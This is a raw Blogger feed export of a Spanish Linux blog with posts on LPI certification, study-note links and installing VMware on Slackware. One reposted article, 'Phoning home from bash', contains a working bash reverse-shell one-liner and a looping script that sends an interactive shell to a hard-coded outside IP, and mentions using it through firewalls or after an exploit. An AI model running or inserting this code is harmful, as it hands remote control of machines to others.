Instituto Profesional de Linux sigue demostrando un claro liderazgo en la  certificación de profesionales Linux a nivel mundial. LPI ayuda a avanzar al  movimiento Linux y Open Source a través de sus socios estratégicos,  patrocinadores, programas innovadores, y actividades con la comunidad. Los  mayores patrocinadores financieros de LPI son : los patrocinadores Platinium  IBM, Linux Journal, Linux Magazine, Novell, SGI, y TurboLinux, como así también  los patrocinadores Oro HP e IDG&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;p style="MARGIN: 0cm 0cm 0pt; mso-layout-grid-align: none" class="MsoNormal"&gt;&lt;em style="mso-bidi-font-style: normal"&gt;&lt;span&gt;&lt;span style="COLOR: #000000"&gt;&lt;span style="color:#6633ff;"&gt;Desde  1999, LPI ha realizado más de 230.000 exámenes y otorgado 75.000 certificaciones  LPIC en todo el mundo.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;&lt;p style="MARGIN: 0cm 0cm 0pt; mso-layout-grid-align: none" class="MsoNormal"&gt;&lt;em style="mso-bidi-font-style: normal"&gt;&lt;span&gt;&lt;span style="COLOR: #000000"&gt;&lt;span style="color:#6633ff;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;&lt;p style="MARGIN: 0cm 0cm 0pt; mso-layout-grid-align: none" class="MsoNormal"&gt;&lt;span&gt;&lt;span style="COLOR: #000000"&gt;&lt;span style="color:#6633ff;"&gt;Fuente Original del documento &lt;/span&gt;&lt;a href="http://lpi.org.es/index.php?option=com_content&amp;amp;view=article&amp;amp;id=91:acuerdo-novell-lpi&amp;amp;catid=1:latest-news&amp;amp;Itemid=50"&gt;&lt;span style="color:#6633ff;"&gt;aquí&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;em style="mso-bidi-font-style: normal"&gt;&lt;span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;&lt;p style="MARGIN: 0cm 0cm 0pt; mso-layout-grid-align: none" class="MsoNormal"&gt;&lt;em style="mso-bidi-font-style: normal"&gt;&lt;span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-6900693596457740477?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/6900693596457740477/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/06/acuerdo-novell-lpi-sobre-certificacion.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/6900693596457740477'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/6900693596457740477'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/06/acuerdo-novell-lpi-sobre-certificacion.html' title='Acuerdo Novell-LPI sobre certificación común'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-2727893372142404780</id><published>2010-05-13T11:50:00.000-07:00</published><updated>2010-05-13T11:56:16.953-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='reverse telnet'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='telefonía'/><category scheme='http://www.blogger.com/atom/ns#' term='phone'/><category scheme='http://www.blogger.com/atom/ns#' term='Bash'/><title type='text'>Phoning home from bash</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://imgjam.com/albums/s5/5220/covers/1.0.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 600px; height: 600px;" src="http://imgjam.com/albums/s5/5220/covers/1.0.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:85%;"&gt;Muy interesante artículo sobre telefonía desde una consola bash.&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:85%;"&gt;Revision 0.0, 22 January 2002 &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;Bash can create an outgoing connection to a netcat listener in one line of code. This is a reverse telnet session. &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;strong&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:85%;"&gt;1. Why&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;There are a couple of possible applications for this technique (if your version of bash supports it): &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;A dial-up machine can yield control to a central agency when it arrives on the internet. (This is great if you trust your routers...)&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;Control of a machine behind certain types of firewall (`just copy and paste this to your command line, and I'll sort your problem out')&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;It's a really fun thing to run instead of idonce you have a non-interactive shell on a machine by using the perl open '|command' bug) (I have code which does this ...)&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;Nobody seems to have done it before. All the other solutions I have seen utilise two pipes and two instances of telnet or netcat on the server side. Scripting of telnet is prone to error because of delay conditions, and netcat may not be available on the client side (although if it is, netcat -e can get you quite far sometimes).&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;strong&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:85%;"&gt;2. How to&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;2.1 Client side stuff&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;On the client side, netcat listens for an incoming call. &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;netcat -l -p 22222&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;2.2 Server side stuff&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;On the server side, an interactive bash session is started, with input, output and error messages redirected to an outgoing TCP connection. &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;bash -i &gt;&amp;amp; /dev/tcp/101.102.103.104/22222 0&gt;&amp;amp;1&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;Probably your IP address is not 101.102.103.104 (it's reserved) so you can replace that with your own IP address. &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;strong&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:85%;"&gt;3. Bugs&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;Job control doesn't work, since there is no terminal.&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;Ctrl+C doesn't work so well.&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;It's only one line.&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;Some distributions compile bash without support for special /dev/tcp handling. Hack into an different distribution if this happens to you.&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;strong&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:85%;"&gt;4. Script&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;Here's a script which phones us repeatedly - very nice for remote support through a firewall. &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:85%;"&gt;#! /bin/bash&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;IP=196.30.113.3&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;PORT=65534&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;WHOAMI="`whoami`@`hostname -f`"&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;echo "&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;/////////////////////////////////////////////////&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;//&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;// This script is sending a shell as the user&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;// $WHOAMI to the address&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;// $IP (port $PORT)&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;//&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;/////////////////////////////////////////////////&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;"&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;while true; do&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;        echo "`date`: Sending shell to $IP:$PORT"&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;        {&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;                echo "Welcome, $WHOAMI"&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;                bash -i&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;        } &lt;&gt; /dev/tcp/$IP/$PORT 1&gt;&amp;amp;0 2&gt;&amp;amp;1 &amp;amp;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;        sleep 10&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;done&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;Of course, you probably don't want to run this on your server without changing your IP addresses. &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;strong&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:85%;"&gt;5. Licence&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;p&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:85%;"&gt;How do you licence one line of source code? You would have to be a little silly.&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color:#3333ff;"&gt;&lt;span style="font-size:85%;"&gt;Fuente &lt;/span&gt;&lt;a href="http://www.ledge.co.za/software/howto/view.php?file=bashphonehome.html"&gt;&lt;span style="font-size:85%;"&gt;aquí.&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-2727893372142404780?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/2727893372142404780/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/05/phoning-home-from-bash.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/2727893372142404780'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/2727893372142404780'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/05/phoning-home-from-bash.html' title='Phoning home from bash'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-771158729839724015</id><published>2010-05-13T11:25:00.000-07:00</published><updated>2010-05-13T11:42:22.977-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='LPIC-1'/><category scheme='http://www.blogger.com/atom/ns#' term='LPI 102'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='LPI 101'/><category scheme='http://www.blogger.com/atom/ns#' term='LPIC'/><title type='text'>Fuentes LPIC</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_ftTE5yk93Zc/S-xH5SLYRBI/AAAAAAAAACU/hrVRP251jU8/s1600/header.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 91px;" src="http://4.bp.blogspot.com/_ftTE5yk93Zc/S-xH5SLYRBI/AAAAAAAAACU/hrVRP251jU8/s400/header.PNG" border="0" alt="" id="BLOGGER_PHOTO_ID_5470826696805991442" /&gt;&lt;/a&gt;A quien le interese, aquí dejo un par de excelentes referencias sobre el mundo linux, concretamente son ligas referentes al LPIC.&lt;p&gt;Como sabrán, los exámenes del LPI (Linux Professional Institute) certifican un mínimo de conocimiento sobre la administración de un sistema operativo Linux, dejando de lado la distribución, es decir, se enfoca en el conocimiento a fondo del sistema y su administración a través de la shell (para los no natos, es una consola de administración tipo MS-DOS, pero posee un lenguaje de programación de scripts propio, el cual ningún sistema Windos posee).&lt;/p&gt;&lt;p&gt;Descargas:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Linux 101 Examination, Modular Training Notes. &lt;a href="http://www.ledge.co.za/software/lpinotes/101-letter.pdf"&gt;PDF&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Linux 102 Examination, Modular Training Notes. &lt;a href="http://www.ledge.co.za/software/lpinotes/102-letter.pdf"&gt;PDF&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Linux 101 Examination, Modular Training Notes. OpenOffice Documents &lt;a href="http://www.ledge.co.za/software/lpinotes/lpi101.tar.bz2"&gt;here.&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Linux 102 Examination, Modular Training Notes. OpenOffice Documents &lt;a href="http://www.ledge.co.za/software/lpinotes/lpi102.tar.bz2"&gt;here.&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;La fuente original de las descargas la encuentras &lt;a href="http://www.ledge.co.za/software/lpinotes/"&gt;aquí.&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Como habrás de saber, para aprobar el nivel Junior del LPI, debes aprobar los exámenes LPI 101 y LPI 102.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-771158729839724015?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/771158729839724015/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/05/fuentes-lpic.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/771158729839724015'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/771158729839724015'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/05/fuentes-lpic.html' title='Fuentes LPIC'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_ftTE5yk93Zc/S-xH5SLYRBI/AAAAAAAAACU/hrVRP251jU8/s72-c/header.PNG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-5651029487803090501</id><published>2010-05-03T10:44:00.000-07:00</published><updated>2010-05-03T11:35:31.224-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='modo arranque'/><category scheme='http://www.blogger.com/atom/ns#' term='tutorial vmware slackware'/><category scheme='http://www.blogger.com/atom/ns#' term='slackware'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='vmware'/><category scheme='http://www.blogger.com/atom/ns#' term='vmware 7'/><title type='text'>Instalando VMWare 7.0.0 en Slackware</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.mnsu.edu/labman2008/images/VMwareLogo.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 157px;" src="http://www.mnsu.edu/labman2008/images/VMwareLogo.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;span style="color:#6600cc;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;p&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#6600cc;"&gt;Bien, pues para que nadie sufra como yo al instalar vmware en mi slackware por primera vez, aquí posteo como se debe de hacer.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#6600cc;"&gt;Descargar los paquetes desde la &lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.vmware.com/"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#6600cc;"&gt;página oficial&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#6600cc;"&gt;, te pide registro para darte acceso a los links y para enviarte por correo una clave que funcionará por 30 días.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#6600cc;"&gt;Una vez descargado el archivo de instalación, copiarlo al directorio &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color:#6600cc;"&gt;/usr/src&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#6600cc;"&gt; (esto es para mantener cierto control sobre la paquetería que no tiene formato nativo de slackware)&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color:#6600cc;"&gt;cp ~/VMware-Workstation-7.0.0-203739.i386.bundle /usr/src&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#6600cc;"&gt; , recuerda que la tilde (&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color:#6600cc;"&gt;~&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#6600cc;"&gt;) indica el directorio de usuario donde lo descargaste.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#6600cc;"&gt;Cambiar al directorio &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color:#6600cc;"&gt;/usr/src&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#6600cc;"&gt; y ejecutar como usuario (no como superusuario) el comando &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color:#6600cc;"&gt;kdesu sh VMware-Workstation-7.0.0-203739.i386.bundle&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#6600cc;"&gt;Te pedirá la contraseña del administrador (en este caso es &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#6600cc;"&gt;root&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#6600cc;"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#6600cc;"&gt;Se abrirá una ventana que te pregunta si aceptas los términos, hacer click en "I agree" y en "next" tantas veces como te lo pregunte hasta llegar a "Install"&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#6600cc;"&gt;Esperar a que termine el copiado de los archivos, y, si todo ha ido sin problemas llegará al cuadro de diálogo que dice "Installation was successfull".&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#6600cc;"&gt;Ahora, como todos sabemos, Slackware no es como las demás distros, sino que es bastante peculiar, en este caso me referiré a los modos de arranque que son (puedes verificarlo en el archivo &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color:#6600cc;"&gt;/etc/inittab&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#6600cc;"&gt;):&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p align="left"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#6600cc;"&gt;          &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color:#6600cc;"&gt;#   0 = halt&lt;/span&gt;&lt;span style="color:#6600cc;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#6600cc;"&gt;    #   1 = single user mode&lt;/span&gt;&lt;span style="color:#6600cc;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#6600cc;"&gt;    #   2 = unused (but configured the same as runlevel 3)&lt;/span&gt;&lt;span style="color:#6600cc;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#6600cc;"&gt;    #   3 = multiuser mode (default Slackware runlevel)&lt;/span&gt;&lt;span style="color:#6600cc;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#6600cc;"&gt;    #   4 = X11 with KDM/GDM/XDM (session managers)&lt;/span&gt;&lt;span style="color:#6600cc;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#6600cc;"&gt;    #   5 = unused (but configured the same as runlevel 3)&lt;/span&gt;&lt;span style="color:#6600cc;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#6600cc;"&gt;    #   6 = reboot&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#6600cc;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#6600cc;"&gt;De donde observamos que el runlevel para el arranque gráfico es el 4 y no el 5, como es el caso de las demás distros, por lo tanto si reinicias la máquina nunca arrancará el vmware ya que por default, el instalador coloca los scripts de inicio en la carpeta correspondiente al runlevel 5. Para arreglar ese pequeño problema hará falta copiar los archivos &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color:#6600cc;"&gt;K08vmware &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#6600cc;"&gt;y&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color:#6600cc;"&gt; S19vmware&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#6600cc;"&gt; ubicados en el directorio  &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color:#6600cc;"&gt;/etc/rc.d/rc5.d &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#6600cc;"&gt;al directorio &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color:#6600cc;"&gt;/etc/rc.d/rc4.d&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#6600cc;"&gt;, entonces introducir el comando&lt;/span&gt;&lt;span style="color:#6600cc;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color:#6600cc;"&gt;cp /etc/rc.d/rc5.d/* /etc/rc.d/rc4.d&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#6600cc;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p align="left"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color:#6600cc;"&gt;Hasta aquí la entrada sobre cómo instalar vmware en nuestra distro slackware.&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span 